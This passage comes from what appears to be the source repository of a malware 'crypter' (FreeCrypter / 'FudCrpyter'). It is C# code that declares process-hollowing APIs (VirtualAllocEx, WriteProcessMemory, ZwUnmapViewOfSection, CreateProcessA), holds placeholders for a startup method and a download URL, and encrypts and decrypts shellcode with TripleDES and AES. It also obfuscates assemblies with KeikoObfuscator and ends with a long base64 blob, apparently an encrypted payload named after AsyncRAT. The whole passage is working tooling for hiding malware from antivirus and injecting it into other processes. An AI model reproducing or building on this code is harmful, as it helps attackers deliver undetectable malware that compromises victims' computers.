210 | [DllImport("kernel32.dll", SetLastError = true)]
211 | protected static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
212 |
213 | [DllImport("kernel32.dll", SetLastError = true)]
214 | protected static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
215 |
216 | [DllImport("kernel32.dll", SetLastError = true)]
217 | protected static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
218 |
219 | [DllImport("ntdll.dll", SetLastError = true)]
220 | protected static extern int ZwUnmapViewOfSection(IntPtr process, int baseAddress);
221 |
222 | [DllImport("kernel32.dll", SetLastError = true)]
223 | protected static extern bool CreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
224 | bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref Settings.StartupInformation startupInfo, ref Settings.ProcessInformation processInformation);
225 | }
226 | class Settings
227 | {
228 | [StructLayout(LayoutKind.Sequential, Pack = 0x1)]
229 | public struct ProcessInformation
230 | {
231 | public readonly IntPtr ProcessHandle;
232 | public readonly IntPtr ThreadHandle;
233 | public readonly uint ProcessId;
234 | private readonly uint ThreadId;
235 | }
236 | [StructLayout(LayoutKind.Sequential, Pack = 0x1)]
237 | public struct StartupInformation
238 | {
239 | public uint Size;
240 | private readonly string Reserved1;
241 | private readonly string Desktop;
242 | private readonly string Title;
243 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x24)] private readonly byte[] Misc;
244 | private readonly IntPtr Reserved2;
245 | private readonly IntPtr StdInput;
246 | private readonly IntPtr StdOutput;
247 | private readonly IntPtr StdError;
248 | }
249 | public static string Startup = "%STARTUP_METHOD%";
250 | public static string Url = "%URL%";
251 | public static StartupInformation si = new StartupInformation();
252 | public static ProcessInformation pi = new ProcessInformation();
253 | }
254 | class AES {
255 | public static byte[] Decrypt(byte[] Code, byte[] key, byte[] iv)
256 | {
257 |
258 | using (var des = TripleDES.Create())
259 | {
260 | des.KeySize = 128;
261 | des.BlockSize = 64;
262 | des.Padding = PaddingMode.PKCS7;
263 | des.Mode = CipherMode.CBC;
264 | des.Key = key;
265 | des.IV = iv;
266 |
267 | using (var decryptor = des.CreateDecryptor(des.Key, des.IV))
268 | {
269 | using (var EncShell = new MemoryStream())
270 | using (var Stream = new CryptoStream(EncShell, decryptor, CryptoStreamMode.Write))
271 | {
272 | Stream.Write(Code, 0, Code.Length);
273 | Stream.FlushFinalBlock();
274 |
275 | return EncShell.ToArray();
276 | };
277 | }
278 | }
279 | }
280 | }
281 |
282 | }
--------------------------------------------------------------------------------
/SleakDirectFile/SleakDirectFile.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {BED4FCE1-8987-4C2E-9AAF-4DBA493B393F}
8 | WinExe
9 | SleakDirectFile
10 | SleakDirectFile
11 | v4.8
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 | ..\FudCrpyter\References\KeikoObfuscator.dll
38 |
39 |
40 | ..\FudCrpyter\References\Mono.Cecil.dll
41 |
42 |
43 | ..\packages\Mono.Cecil.0.11.4\lib\net40\Mono.Cecil.Mdb.dll
44 |
45 |
46 | ..\packages\Mono.Cecil.0.11.4\lib\net40\Mono.Cecil.Pdb.dll
47 |
48 |
49 | ..\packages\Mono.Cecil.0.11.4\lib\net40\Mono.Cecil.Rocks.dll
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 | Form
66 |
67 |
68 | encode.cs
69 |
70 |
71 | Form
72 |
73 |
74 | Form1.cs
75 |
76 |
77 |
78 |
79 |
80 |
81 | encode.cs
82 |
83 |
84 | Form1.cs
85 |
86 |
87 | ResXFileCodeGenerator
88 | Resources.Designer.cs
89 | Designer
90 |
91 |
92 | True
93 | Resources.resx
94 | True
95 |
96 |
97 |
98 | SettingsSingleFileGenerator
99 | Settings.Designer.cs
100 |
101 |
102 | True
103 | Settings.settings
104 | True
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
--------------------------------------------------------------------------------
/SleakDirectFile/Tools/AES.cs:
--------------------------------------------------------------------------------
1 | using System.IO;
2 | using System.Security.Cryptography;
3 |
4 |
5 | namespace Tools
6 | {
7 | internal class Algroithum
8 | {
9 | public static byte[] EncryptTripleDES(byte[] CShellcode, byte[] key, byte[] iv)
10 | {
11 | using (var des = TripleDES.Create())
12 | {
13 | des.KeySize = 128;
14 | des.BlockSize = 64;
15 | des.Padding = PaddingMode.PKCS7;
16 | des.Mode = CipherMode.CBC;
17 |
18 | des.Key = key;
19 | des.IV = iv;
20 |
21 | using (var encryptor = des.CreateEncryptor(des.Key, des.IV))
22 | {
23 | using (var msEncShellCode = new MemoryStream())
24 | using (var cryptoStream = new CryptoStream(msEncShellCode, encryptor, CryptoStreamMode.Write))
25 | {
26 | cryptoStream.Write(CShellcode, 0, CShellcode.Length);
27 | cryptoStream.FlushFinalBlock();
28 |
29 | return msEncShellCode.ToArray();
30 | };
31 | }
32 | }
33 | }
34 | public static byte[] EncryptAES(byte[] CShellcode, byte[] key, byte[] iv)
35 | {
36 | using (var aes = Aes.Create())
37 | {
38 | aes.KeySize = 128;
39 | aes.BlockSize = 64;
40 | aes.Padding = PaddingMode.PKCS7;
41 | aes.Mode = CipherMode.CBC;
42 |
43 | aes.Key = key;
44 | aes.IV = iv;
45 |
46 | using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
47 | {
48 | using (var msEncShellCode = new MemoryStream())
49 | using (var cryptoStream = new CryptoStream(msEncShellCode, encryptor, CryptoStreamMode.Write))
50 | {
51 | cryptoStream.Write(CShellcode, 0, CShellcode.Length);
52 | cryptoStream.FlushFinalBlock();
53 |
54 | return msEncShellCode.ToArray();
55 | };
56 | }
57 | }
58 | }
59 | }
60 | }
61 |
--------------------------------------------------------------------------------
/SleakDirectFile/Tools/Obuscate.cs:
--------------------------------------------------------------------------------
1 | using KeikoObfuscator;
2 | using Mono.Cecil;
3 | using System;
4 | using System.IO;
5 |
6 | namespace SleakDirectFile.Tools
7 | {
8 | class Obfuscate
9 | {
10 | public static bool Rename(string path)
11 | {
12 | try
13 | {
14 |
15 | using (var inputStream = File.OpenRead(path))
16 | {
17 | // Read assembly.
18 | var assembly = AssemblyDefinition.ReadAssembly(inputStream);
19 | var logOutput = new ConsoleLogOutput();
20 |
21 | // Obfuscate assembly.
22 | Obfuscator.Obfuscate(assembly, logOutput);
23 |
24 | // Write obfuscated assembly to disk.
25 | var outputDirectory = Path.Combine(Path.GetDirectoryName(path), "Obfuscated");
26 | if (!Directory.Exists(outputDirectory))
27 | Directory.CreateDirectory(outputDirectory);
28 |
29 | using (var outputStream = File.Create(Path.Combine(outputDirectory, Path.GetFileName(path))))
30 | assembly.Write(outputStream);
31 |
32 | Console.WriteLine("Obfuscated.");
33 | return true;
34 | }
35 |
36 | }
37 | catch (Exception er) { return false; }
38 | }
39 | }
40 | class ConsoleLogOutput : ILogOutput
41 | {
42 | public void ReportError(Exception exception)
43 | {
44 | Console.WriteLine(exception.ToString());
45 | }
46 |
47 | public void WriteMessage(string message)
48 | {
49 | Console.WriteLine(message);
50 | }
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/KeikoObfuscator.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/KeikoObfuscator.dll
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/Mono.Cecil.Mdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/Mono.Cecil.Mdb.dll
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/Mono.Cecil.Mdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/Mono.Cecil.Mdb.pdb
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/Mono.Cecil.Pdb.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/Mono.Cecil.Pdb.dll
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/Mono.Cecil.Pdb.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/Mono.Cecil.Pdb.pdb
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/Mono.Cecil.Rocks.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/Mono.Cecil.Rocks.dll
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/Mono.Cecil.Rocks.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/Mono.Cecil.Rocks.pdb
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/Mono.Cecil.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/Mono.Cecil.dll
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/SleakDirectFile.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/SleakDirectFile.exe
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/SleakDirectFile.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/SleakDirectFile.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/SleakDirectFile.pdb
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/async_base64.txt:
--------------------------------------------------------------------------------
1 | Zh8zLdZWV6R1IcXDJJ5Wly+/+mZwG+1OWwPvcLzqCTf17zpQQGG6jlvqF0W2QqUyjDcIy0NAn4X9L5dz//y20lmxSVnOVpaOggOfMHG+mTPmUoU1PFYxFLRVwUJ4GNvKwqXN1yiRV0YvcbW9xvCFIv8GIDolfeem17lZDU88BXRWWSOd1DKg/2s9A9gYcPZFYikrwMDBTYaDgBLnQJPNwAiOYphyDr/dj8Vnni2TSeAoTjN6JtcUEjNzcmUHrPYOeT1UkY+p7/k9qqHZL5p1iLPvsjG5+jV88Xe75hul2AVZZrszOLPVF8PWVp3e3w0aES0L17Nl534G38GpgJdLlWUGrO/grPgUir4KWHmEmZurjH+PCZ/fqI/5MrfKlZ90pwCtVMlZbTH7xHg9LEvZdj3tyQ1XN2YnRB8uPmeNfSaf0UB09Qvk+DbxXg/zGP+fuZhMSnY6eW5NQFH2EgiPy/YCTNUe3mTwq26hWq1j9gJf42PiHMpkJ7gjBMa0cRhRATgPgQ66i7qUZWxeoEVRIfv+gTU6nMljGAmB3RepitDLNTHUqovYjpvDafAHLzdGzPkEjxSbFGZUd6Vc2wCG1E2ciwSeaYtJ3zD8nI8XwNdAp70jfVqhSLkUtO6gBK2qBmOgBg2hO73hMd/Xj5pPRFhOvnqu2H2sBuxK8HdeFpuPOikMnsLZbhldv3G6S2dLSdYoNFuRiLGX84/3xkDJaDU+z0yEhDzMqvw07T1NVQue3ER34CU7YcFH1qBk5VqcMy8fvgET6gxnTjmNPhD58BZFnseajO5nCHoo1EoM6DNX6Nf22vA2Ucb5n63bH6ZQYgLUmCYJGz8VMuWHS7ovUWbAq2VDRKHhIo1gVPnK8xCzI7f+dfY7I2sDAJt2rDuYy6QIH1bJHJ3kSWrpdh1aHY1ArPruYeA3myLpvp+tVsNMG+MfDSeZE9DB4YDpnyYi8JW3TCoXupvUsR72dhQLOiUHhYSLokKrH1uhvBB9rzK0EMbDhDJw1pw2sxy5jkODu8nWKZt53Mo++DAbtMDeRXGcKmp2UHW77nbZ8Dh04AUukiYVjyMjvWMhzeEDCL5/4OduoaU7+uUaGg23+AwGMrkhVhqoIM0GZggFHNGCf/SBs2BMrdVzh9vGtxBnt/pQ0U8p7KVYyv2XRm9kts95d5Fi5mghqD0Xf2CSfDKlH2bc3B1D3X2lP2PyMx2lSNxQxF04yTjr4pz/InUCi5Rqo1/o+lv8wTjPgr4eZIn01y7+HObzZHXWNjJnV9QIthtEk2xk2aucCFIcj4I3pHbr1eepCsA/27PRXAHJeBFPK28BDE+NBKV0LKgBSUFgZ681eGslsQ5U3Ker7gzMCSMkl7LGQhpPAKCh5fwz7YbWbstZ9/aps0IEqLjfU/XaobA6FIXPa6+Dqo9j6r3jz1vu+alTTmG7eHP8+gQHpqSW6Cyg/IE+NXV+CwzR2Rsx59nTcJVpKwtTPO+B56OXur+hZoOwnTxeGVv7RVVQlpPCxsEbDlBbDVo4hihM/7cN6CugPWQ1p3gwJfbzYhiM/WTfl3VIWVFgguvUuRwNZQ/ImMdDNKTR+DIayug8nh0ixKvaC/64lIkYy5303e6Q8rO4oERko6DPXRMPE1yhOLG5ongGW9GybjXWWSg28JpriQoIKm+PLGQlT5vswRpQr13wUjyWpYKnXEytIsu4rTcgUXpqhIakxQvhpzVX7JfQfIIDJHGVL6XK899pNDMwCgateZu3CxiTD5boSvd+ZyuAUv7sT6L7gpm0rMXsvxs1uoPg4PiaEy9py+WJElGENNASRNps/3XPO/S9tVGodEV7mRkJZBR41VlA7nSuFgootUoKoOBNDryci69i03niCb3DhehDZzrGEJ41xxEEyhy+KCseYX43DEkrQrokCJqzeHFstWxXTso2yS3OnbA/C/UOrsmyEkNdMnRU/cLKDvLqeNF26JxWzBoz4vQq3QF9TkAZ33nqTxs8qEv4gSCAqFarYRU4y/8bn22+2akYtgwqCkQ0MYO/m6nPVj1gNjMfJ4RIkozq++HBgSMvaPPwj2zb6PXRBWi3kA1GC0AdGjwAYqVlX3MklVMn96dZfw7C3mSAU2MrmGPM3xRlvL78mpMb9Kq6PU9tfIz1z4BS8mOByj1HAMfwYHWtpekfs26ZYBIJ/9Vq/Hid8dhWcBJazY/Ryrdf6jqweKcR6bMRrhCUGWyhc0OmqqrR5yqDQT3L9k/hUFq2QL+PWcQfdULRZrcUqSGEsHNxWLD3USPhipyfzqRe0kPX2KBzBMXNxrgKPKln7poq22WdPODJTznSEWjrTFeKBIyb5v9Y5GdATZ/YaWh+cQX5Bg+NCcfrJtGDiDKfLzcbkuusPsqzx4/rtdu8wpb84+cu31e+dOycFfidvSfqn2uuafBYnr2lYYkxO2PXqtuqJfHm/Kdgw/ZZJ/XXKwdxdj+Iq/YdiOXiveWgNI5iNeAuK1MScTmoTmjfgG9uoEx4JuARaSZozs7t//QwRlLMGgkV8Dtz+LOX/Hj4Rzlk8CZLgHtCRfxWWyOGbbBXVUzZ2BM6Ps7Y5ayozWuei5xl+WMe372JRn+LeRcvCc13ipxkfe1JVvPC8ju4oBHwsXpIzExfMCcf3zp9MPpvDMuFC0XEAc7ObojgS9LL3jIX1tpb4HdH7VVoXvbx8xR73mlKHl3dhTSJVAnHqxh4LNVMh3UK35pr2PC7lkwr2z8OJGnnGcpPf3Y2VVeCRxjEB6L3pT8GKPD7LUN3Vw9EO737iPVXizDHggqYjAaMq/hgJBbT2wKJSlNyY24EJZ7szvEu7nfgiD7Dn8AO+c8ZtY/UHcW97i5LF6MS3Ndj4PpyKMjqrL86aeOqF19py3p2VdsYVdKRduaxYeb9ucznCbhzLtbq+gSCgRwH8hSvBXeebPCIRix3NYWIwa5HaHUNckiTuItNJmwTEbQXNGNFcLs3YlrB3/qCqu8hLhkZmz8YqeiiWIpwsaDKYBMVm/Z/5qvJF1RecnPI8iWXD+bApAlC8NN39KqMLgDenhU2DEhT+iWYX7122dw6p3PStfNqUcT+FGK0f64JYRp9ugpcmJ0gU6YgQ8R1riikGlaOjH0y+nWvqOhCH/YmDps1Oyip7LkgXgCqHVZgB0HAVjLtza/M4B1jgtUylZCIZmf8mTNRZdklzb68nsTZJJqRJzlbDqAd19ddDHFdsqbn/SXK4klWiFhz6/5Ey424iBnh7p+8MIytXJQNy/sIWEuXbXsOqx9jsl/PYfrcsDaaP/r3Rb1XGIKQ1MVwOWKOfxjw3/Z/XyuFN5WIAPaEshnAM9i/Bspn150OZwqkuUsqEORTrvNYfoWh4GJXs8fxhc6xoXnWBQRgYDNfvKXuXyLipP5pQHg5VUGtDu/ZpLs0+ClSoNglb6uK6bFpLlXKSSApm5ai2FLO7JQalB3Zon6aSOI5r9SgpqdQLqwMhF7VVyJ+cM0Yvs00fJ8s9Isu6CusNN5Ypwd7kSmcAItIoKRR7PBMOUGBNvka6z+4oZ1AdgXykRI9OuBEyd3o3cDER5tgPDXokq8b3gDBCClttJjPuL+Pd1BX4ko9xVOCr64kh8NeSZQc4sSjshNIcZHRPIqo9XfqalDeRXMrLqPyrAdjrw0ZACxldGUn3ZStGaw7tD1jKTSRITow6lD0rUl4OydCwewkGkNnCUfgcHDpd9+6nWNCA+mxmTOzVfWr8fJ/tCYTGvpvUEPlFURnAaD3Qe/uSlTOCt6Jtqadbpv17unY/ul6a/QhhcDaLdPuRvfoUDW4m2J1rzwx0bR2ycDFOAbVVwWdW6mbJ+kCKilYr+te3vT1OhohJetsVCaE4WiumHgZITOecQ9lgBrkkwIn5S3Pvz7VDIHm083n0Abl6vMRvpiOpGq16MLn9zyWPlYskDwXL6i9GA5c4c+x+M/wkhEShQ8t8k+9oi53i+9hX82gzAYl1dBj/oboBX+3xT1vdAKlcHBASm6WRpfPjoawpOiMQcd+t3U8gBH7EIA89+sWKAZuDwwzewYJdU0qevu5rri7FVhQu0+QwmERY5cFkSXa6EXPrYLI9A0k2bHu6vhMevjnkp0SY5qT7SqP428GjB7lCc4ofL57Nl6nSROx+zKTyztoOwsL8OMaiXw6F28hrbj/9ofnVemkmJSfhTZ1pRyqQTbW2/LyQMP9n/z2IzgknAAGyj/ZF9yk1vHtLzZocPWEhQCwK0viuRb4M/ji3mTa8+9LPNtg8EWROSrBFrvj0WZXDWUVp9OVjXSpZ9gUC54LXJsLc6qSwkTZtq2mM1YhxSW2xxQsPPd41RnDvHAYznC+ukelojcIaeWQzeLHKNAUHevdXXHPsjkoVFGn31NoSJ3KR2ubnoAskOGaPq5HxWUWcOg+B1+N+egfMV8VzuzloLAuw7RNFO15aAGwWVGWXvSRju0BpiK8ufbXjJ2jMshxu++6n1B3R8kWkmqTOBUTR2CicUgVl2InzbZyn96qMAuUBtObr6DtZp/9FfG3ki8IPDHtXS6tzWxqFrwVjFnHZ3+kzHC1dfN1mEI3z0/cYSrmmzpb1XK6cGrLmtBGmxt8PxXmPS5zHehPhlwW+2KjLSj5r/z1zwI8+kc0h9alWq2EVb/KXBGNbCKg1b0mNsjWo7nGwGxQ87KOI86qh6YCD6BCtpu6JK331mAZIbaEvM1kyoT86N85zneCUkNfZwMzmL06PmXL7IAy7A8r/Uc6S/DKwAKh8s3UmnBGSbYlTIN48hBiGcHMHPnTgK1d+DAV5s0r7KcHb47r2NrCuq+dEcC9LCrv1SFYe9Rw0zj7cdXKeGFzfnVMKJ6RPcSMFtRcwQx0rwvWRLUfbx29JIbZQxSosma7p1ZdzubQMoXLrGNVyxtYiGiCi0oCPWUDO8Au7xeXxeqVRdAvwgncM1MZzy+ydMSfxdqdRx70zmeczQ7CmUvyICMH8niUHumotGQ+I9BqZxfJebbT8WxH25mx6W2LS9CwTIofpy41d6Qb10kkXu2IxW6nm/3WpAez46So35gfJIOCU3DkFHnjYClCsiFMsxqNRyy35a15UTzWmER/SR5d4yLp3h2rnhFVTGcnmKQ2R3d8a13QZXiXrcvzBiieu6f6FEQN+U7WpsDj/YWfd0iZikId6AlEcrFDRhlO5EGzQTVp2nYYVS70cLebpCRfI/Ug8x0bFB8r278dKuP5xBApySCoZBZhYDXenhLxLStz0ocoIvQUmBNcshLG7tQpW2GkQ0uxop3cbjrXLIStSITJVDya7y2EyBJIEbQpdZG5eLrVksih8eKu894wZeTc1pTKd3BA0ueBz2nov3iazUHnVApAlhBNZVkHe1t/vZJP5nAgwFqvphBtyhwBgexSejeRgTpiu/U2M7SBf/b0AgMt83Di/AEGKpmtnEi4RCa5S5F9MSBoP/UY8BVgIFDO3C3hWVFVlQ5WByYjrddfF/5mJduYChwsTbHh6kHA3EPotbSfDvypnKFMocX61p0/aw2vOEHpTxBP57BF7o1xUlHgWuve+E3sCZhNcam9eMBCVA2bXiRbkcSXqQTHcPDH2d6nvyT4ecK4CPtxtKjqbQ5n9QMFdx1QFniJ3EqgnGaFzEQ9BfGJyGFBbXnv83kJS1rTzK4kGt3EYZjL9zdbg2nxPWqFl6QkvW36CXy70088DTkg/SapRjJ9jIxZ0CqhxGB5g8VoJIUZvNN2XWl1M7rwvWlnbZo+H45gFdqGbXkeCCDcJq0T5PTKTlm0lrQKnmPODGYd+M0xyGifJ9czKF3udDK3giOABZnWLr3OmN+xkFPczZIxF4DBC6aLH6ncRX3lomXYQcTpVSKXGH9M9g89vVxnId3lqZOO03BpCEIii2iuU8oMumKcUI7F8CHuPL0aaf6rHghf8ju0mZRA4guxLymxlBJmF1uqTc3mpQxuUKoGZpBOYAHO66nXulV9Rox90EtMSJnKTnYakU2Qu2oyKTJrVfWsSkdsZaNetwkQttOvRBgKVjwOB00+zYrYH001KrSCTgX0RjPUoav6Bg4GiyH0lYZ5pWGP35NwHqK+45YzrPJEpGNoiULyMSZAH+BoGUn0Eazv4BuYFP28edqHfgvHmLAjvAblYFFLQeLO9fUKp0Xci3DpgpA5l26ZPMdCh3gAxTQ8iOQn8wZ6/nBhWTYGmqFOadnE6PhmohYEeJO9l9yRDZh24ARDQOzDXi30mktwXixjYYV2Vpa3Rt5aKNKLMg7v/4myDQ3EumhUG+F5Ub1JBHLk9LKl27efB1LRx0O1WZYzzwZYsgo+/IuaAkKop9Tk87af9KVsxl3QTZgjn87L+ngvWGsx8ZyMTMj8l6ws1zq/6DahK75OZzZAXs0ROrGPfu5vZq4PMKzsv5WJ8/9pF27CQYMiqS8lhka7afNSg5SaA/ns7U8SxwdT5SbsoI+08uxYEvrTaTPna1tlIM3WC3oeCDWaqLS9bg2i+nA3Q/h3sWOG6wXgU6BRzxnQu3pSNoB480jKjTGyOCyGucGtPYOpgY5jRWN/fzKUXx4aU3aH7bm0yjm9GyxmVz/yaOj5zo0nLPP9xYuPBcjUMLcWjeWoxtRkqEZQhQTZ9Hb8kUapSMq5z2bUO1uOs55307r1X6/zDHcVBzP73uu713NrHY+1lYVGzWNNkifGzoEroLGLJGLqb9qT7RdEUKFyF3XEJz9lLZfebmchSjv2D8sARkKF/O4mQY0LENU47NAJy6L57VJMROP/Dgrs1tuPu7aL7Kso8scEPkr7s9KdLIjYL+KMYVAdW57/lWb2XLLZT92jlQLg1Q1aBk+LNz3nEhCG6lDtlmn4DtdkGGOERgdf+d30lwYn7fOu1nq2LHyOtz7dAgKk+oheeCZVYZD1qO+jRf0H9PKxF+ohgStdj1JAVdTFUxU0uwq5SvfIVQ5TxKBRUaOAQ/75kV+DPVHT7L1HrKfL7sOo2aVr/fFhk8ivXfZf2yeBRVcbQZvo/R7gE8/bO3totljGD/Mhcux3UzN9qr+N3Rxce4d8Emw1l8+BY2pPNYf3RggFkmtZEbpX8z5LtqyqxYJJ+pVXGNIrH9XRiMS36NABKD+cB0Pf+ivftguHtXhs3GYHHJAJuHtMPUe59hgYSx8qxj9RW4fgeLNNZxUd0UIYs/weBOQF0G2I0LQWQMSK+gGf6sqf4rnjqv4bLvRSrPHIY6Uxo1UV8ANHz3SavkJXR+5ueCP8gxoSCsiZzgRKK5ReAEfp8s4sUt4ptFKZDKc0rF6bRnkrKj2S28VnJ/m7K2R26l2J4tDc5Zii1xo+vYBl5+iiQN3+UOvweyZU39Ryr5WQvhzAtr3l+bWYXGYep5/5NZvczNsr1FBBWZvW/rtOcpUF0ixBs+v3xn3StxA/VnzeJYabqauwLjXEoP4DKEe90xvJxf1RLF+C8tFuba6rEOGK0LChwyUzKccXcOCBwppPrB08f0GcLMwJOPAT92fcQZGG59u3Oq1L8BLOS2ey3eRVuvy1OLzRBxU6DJDCLptPdgRsEmSq50UG+zCWx9GH+JxQWTF5Sm6KmzHY8rt71MfFGH/PkQdNmg2U+u5MNKz/LZa7jgT0EGH7UaQuHTqIQ2poEzKfx2uvq/rp75qJB7PzAkeBzjq3IYO+XVB1A3y5+Hy3qJwPL/A1Rv+TGVXe2BdfhKcIm9zF9HOo9hka31tVT0ZERnNNFJV51fqjYKYIRI73WyuEn5//T0fHmnOj4/XdnIa0lCKP+7LIPCgoMXxKrXlhUU182eNQPdtF98ZwBWT872O8q7si/Y1GnednpdVoO72BX2Ji2/p2jkKs3i0BjpbpJm1h+DPaCY48iESsioEJfO5p1aIjFwxHZ+GYfJxsGulSRg7hndJL2u55t+Pd3hJYnVMEWSobhQrYLMzeeZBQb7aXzamiMjM8PKCbNS2tjj86ki530xJ6oelYUm/ZLqAmb4ehT+fA9xzP8QD2glVtQh11nbLSOTRZwkkFruEZRHloOnDlbh3vfRAyWzLdKKEGfeSsO58HMl8QGUDD6Ga6IrjEqRjfHSzv2CtQxAWHJrKOoC+Ni/2thLxlNtcDsuw8dXUAoXTVmKtOTdum8ltYJGTltWdQ5dHjbTstYwAgsxP1+Ax1qToKcwrexKGiPD1vW4evXGlhy98dVbVcmkPlgVQSEUt+HAeuy8o4F8Vksmq0KCdErv3r7W75sjpvJhIl9vD1/N54Oka4CFxWC+4nu5TxRlkoUCvN/rAH3L7n12+LExNl4e46DMTLsz9BIYcCqtMwAmyebutb9sFh5BIEWA6T8hDrR8uSd7FIxh3iyv0bdjiUQunudstsXvl4/U5PeWSaJXM+c1WoIhE/tK9xofSRZhTF5AyjJMeLd/Garg0XSG6tuMSIoCq4Z3Sylo48Wn3J6ckuFjvFgW3kVfLTEXiWcmAz4CzNidXiuPLtgAuGMXyVq63C8JBw84Ddj/5/j4b1lNkPDv8HH6C1XaQQnOB5/I2vjHk2XLYSElPrDhhHYvlmmkt8f6uoboyfh/VS1QLtIyUeAu01ZUJ+UK5pNwqvY5BaYNLUzubsFFbG8cp2rAPLdepzCZCSxAz7BdTbV6IS22tlnh/9NpW2mgTHl1MdPKilrAgvktKRBBP4AE1yV+MQ3M70ZnvHKnkrWa/aqndgnB6w2A8cXYj8ijNcva/2J3AKsBVh4/HZN7kFi9Kt1g2eZ9x971+4u+qUHQ+35jVXuPpLKjuJB0tBGsjg+b9U9q8LjQ86DV4Kh6zgCOuuUakdnl3d3efaIgUclLaZi/BrZNwLGReERjLcOlK+cDBE7xJVfi2oLLxjCG+GnltMmIVNKOtrbXFUvTV+OjOYTgJrKbbKzfaSTCFpwfD24PTf1VVZHBGTY/oRQhvm0cG0xi7a5oMiKw8x/2N5SAy4Vb+imq0MLcj2sahcamhpYoSELxHmB9DsB5S9V0770hFbIIyN3Ytwo0fknsbiDBiCadZjS9OxAMJz+CkNb2dA5SbxP+Ye/RW7KyIjAv9o/Yfi3DNxsmtGs/yfZ91wH06lsx2wXAQhHAaRvdvUSKznfpPXbNrKRq1uoNijw15KMc6RwXsiHvYx0MjcimefNIlPaS+tA5ftuww0B2EghXVZrCAlLhiATsSitDoIYMhqzxmGfwIJcEr6rloOQ/IQ8H1Bjg4Hc3yZP70WAEmIhyhTlzRBvacGzxHkb+WgR1lTm5GVfMMPTKbOuzzmw07fpuy+UK9ec4q11LHOOjgf4gyaTuQC4MXd/QEK6oOzTK9RjjIWJO2fX1q+pNTGZ8GMuFST/zht7kf1hFngaXGsp9JUYCvBe2WQJzgFCnbe3CTpWPiGLiOSaHK5ccfq3nv31FRHn43cAs3JYU7zeQIjokUGuaIuDQX/NFrOvktClBdiZONtogALfvYNlP/Fw+c4+kOFFts0t0TxmXG+9XY4099tpXXplV8rTCQbAM+vPUzStjheKsz1xvVwbBbmDwRZkdW7T6/Aks3KPmyqeqlEHpXRlo1YVEB2ZG6QPqwcD4mjzyE4LDPGTPYf8vBzBSEl0RZZUPnh+Z0X1JynaLxxE1sXiLL1Gky5ipgsGh5pT9d8dHPJWjXti/ddAOxQGpuFpI+XYHo+URmY2RrkppRY/nprnwFU6lRhCc7WsdSn8EOC+gmCCzkdtcsghcJc+xg3FA46uuipZ+4IxnuduiM1kvbJKNIKqAZctuD0RROzLf/0MGbU3eBC6UoW78rTWPQ9LAVUq3DoVQGpET/6X22Mgix82h9+f66V4Iw4QCe6GizdLw+e4OAyNoOIGHKvqaoeB1XkHCY55YLOpp/YKI3vcdf6vuKvSU5yJ2ZWm5miZtzATnoHfpO4F/9DL+5Q74AEatxj29gqElkZyoTU3Qwfv+jQ72m1PrRuC8QPYxpdvEeyBSdA5avOCZWbTBb1umr01CQVk4AOMsGEj6GcwCf91BQqZDj+E0DsRmjx